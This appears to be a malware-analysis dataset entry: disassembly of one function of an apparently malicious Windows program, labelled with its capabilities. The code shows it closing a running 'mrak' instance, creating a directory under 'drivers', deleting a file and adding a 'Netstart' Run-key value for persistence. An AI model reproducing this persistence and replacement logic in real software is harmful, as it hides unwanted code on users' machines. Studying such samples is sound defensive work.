Function at 0x4029f0
Capabilities:
Create directory
Delete file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
xor esi, esi
push edi
push esi
lea ecx, [ebp - 0x10]
call section..text
mov eax, dword [ebp + 8]
and byte [ebp + 0xb], 0
push esi
push str.mrakMainWndClass
mov dword [0x40c848], eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x402a24
mov byte [ebp + 0xb], 1
push str.SOFTWAREMicrosoftDrWatson
mov ecx, 0x40c850
call fcn.004010a7
call fcn.00402ff4
mov ecx, 0x40c810
call fcn.00402480
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 4], esp
push eax
call section..text
call fcn.00403601
pop ecx
test al, al
pop ecx
je 0x402ab5
push 0x40c858
lea ecx, [ebp - 0x10]
call fcn.0040106a
lea eax, [ebp - 8]
push str.drivers
push eax
lea ecx, [ebp - 0x10]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x10]
call fcn.0040106a
cmp dword [ebp - 8], esi
je 0x402a8f
push dword [ebp - 8]
call fcn.00404359
pop ecx
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x10]
call fcn.00402480
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 4], esp
push eax
call section..text
call fcn.004036b8
pop ecx
pop ecx
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x402ad1
push ecx
push ecx
mov ecx, esp
mov dword [ebp + 0x10], esp
push eax
call section..text
call fcn.00403bb7
pop ecx
pop ecx
lea eax, [ebp - 0x10]
lea ecx, [ebp - 8]
push eax
push 0x40c178
call section..text
mov edi, 0x40c850
push eax
mov esi, 0x80000002
push edi
push esi
call fcn.00401d0b
mov bl, al
add esp, 0x10
neg bl
sbb bl, bl
inc bl
cmp dword [ebp - 8], 0
je 0x402b0e
push dword [ebp - 8]
call fcn.00404359
pop ecx
test bl, bl
je 0x402b87
lea eax, [ebp - 0x2c]
push 0xa
push eax
push dword [0x40c7e8]
push 7
call fcn.00401252
pop ecx
pop ecx
push eax
call fcn.00408fa6
add esp, 0xc
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x10]
push eax
call fcn.004010a7
lea eax, [ebp - 0x10]
lea ecx, [ebp - 8]
push eax
push 0x40c178
call section..text
push eax
push edi
push esi
call fcn.00401c87
add esp, 0x10
cmp dword [ebp - 8], 0
je 0x402b67
push dword [ebp - 8]
call fcn.00404359
pop ecx
cmp byte [ebp + 0xb], 0
je 0x402c49
cmp dword [ebp - 0x10], 0
je 0x402b80
push dword [ebp - 0x10]
call fcn.00404359
pop ecx
push 3
jmp 0x402e1e
push dword [0x40c7e8]
push dword [ebp - 0x10]
call fcn.004049f5
pop ecx
push eax
call fcn.00401240
pop ecx
cmp al, 3
pop ecx
mov byte [0x40c828], al
jne 0x402bbd
cmp dword [ebp - 0x10], 0
je 0x402bb6
push dword [ebp - 0x10]
call fcn.00404359
pop ecx
push 2
jmp 0x402e1e
cmp al, 4
jne 0x402bc8
call fcn.00404180
jmp 0x402ba7
cmp al, 5
jne 0x402b67
lea eax, [ebp - 0x10]
mov ebx, 0x40c174
push eax
push ebx
lea ecx, [ebp - 8]
call section..text
push eax
push edi
push esi
call fcn.00401d0b
add esp, 0x10
cmp dword [ebp - 8], 0
mov byte [ebp + 0xb], al
je 0x402bfb
push dword [ebp - 8]
call fcn.00404359
pop ecx
cmp byte [ebp + 0xb], 0
je 0x402ba7
lea ecx, [ebp - 0x10]
call fcn.00402480
push ecx
push ecx
mov ecx, esp
mov dword [ebp + 8], esp
push eax
call section..text
call fcn.004032ae
pop ecx
pop ecx
push ebx
lea ecx, [ebp - 8]
call section..text
push eax
push edi
push esi
call fcn.00401db1
add esp, 0xc
cmp dword [ebp - 8], 0
je 0x402ba7
push dword [ebp - 8]
call fcn.00404359
pop ecx
jmp 0x402ba7
lea eax, [ebp - 0x10]
mov ebx, 0x40c170
push eax
push ebx
lea ecx, [ebp - 0x18]
call section..text
push eax
push str.SOFTWAREMicrosoftMrak
lea ecx, [ebp - 8]
call section..text
push eax
push esi
call fcn.00401d0b
add esp, 0x10
cmp dword [ebp - 8], 0
mov byte [ebp + 0xb], al
je 0x402c85
push dword [ebp - 8]
call fcn.00404359
pop ecx
and dword [ebp - 8], 0
cmp dword [ebp - 0x18], 0
je 0x402c98
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
cmp byte [ebp + 0xb], 0
je 0x402cea
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x18]
push eax
push ebx
call section..text
push eax
push edi
push esi
call fcn.00401c87
add esp, 0x10
cmp dword [ebp - 0x18], 0
je 0x402cc5
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
push str.SOFTWAREMicrosoftMrak
lea ecx, [ebp - 0x18]
call section..text
push eax
push esi
call fcn.00401e0b
cmp dword [ebp - 0x18], 0
pop ecx
pop ecx
je 0x402cea
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x18]
push eax
push ebx
call section..text
push eax
push edi
push esi
call fcn.00401d0b
add esp, 0x10
cmp dword [ebp - 0x18], 0
mov byte [ebp + 0xb], al
je 0x402d14
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
cmp byte [ebp + 0xb], 0
je 0x402da6
push ebx
lea ecx, [ebp - 0x18]
call section..text
push eax
push edi
push esi
call fcn.00401db1
add esp, 0xc
cmp dword [ebp - 0x18], 0
je 0x402d41
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
mov esi, str.mrakcontrolWndClass
push 0
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x402d78
push 0
push 0
push 0x10
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x3e8
call ebx
push 0
push esi
call edi
test eax, eax
jne 0x402d5b
push 0x1388
call ebx
push dword [0x40c840]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00403e49
cmp dword [ebp - 0x10], 0
je 0x402d9f
push dword [ebp - 0x10]
call fcn.00404359
pop ecx
xor eax, eax
jmp 0x402e3d
push str.Netstart
lea ecx, [ebp - 0x18]
call section..text
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 8]
call section..text
push eax
push esi
call fcn.00401db1
xor edi, edi
add esp, 0xc
cmp dword [ebp - 8], edi
je 0x402ddb
push dword [ebp - 8]
call fcn.00404359
pop ecx
cmp dword [ebp - 0x18], edi
mov dword [ebp - 8], edi
je 0x402dec
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
mov ecx, 0x40c810
call fcn.00402480
push ecx
push ecx
mov ecx, esp
mov dword [ebp + 8], esp
push eax
call section..text
call fcn.00403601
pop ecx
test al, al
pop ecx
je 0x402e21
cmp dword [ebp - 0x10], edi
je 0x402e1c
push dword [ebp - 0x10]
call fcn.00404359
pop ecx
push 5
pop eax
jmp 0x402e3d
call fcn.004027b6
mov esi, eax
call fcn.004040df
cmp dword [ebp - 0x10], edi
je 0x402e3b
push dword [ebp - 0x10]
call fcn.00404359
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x10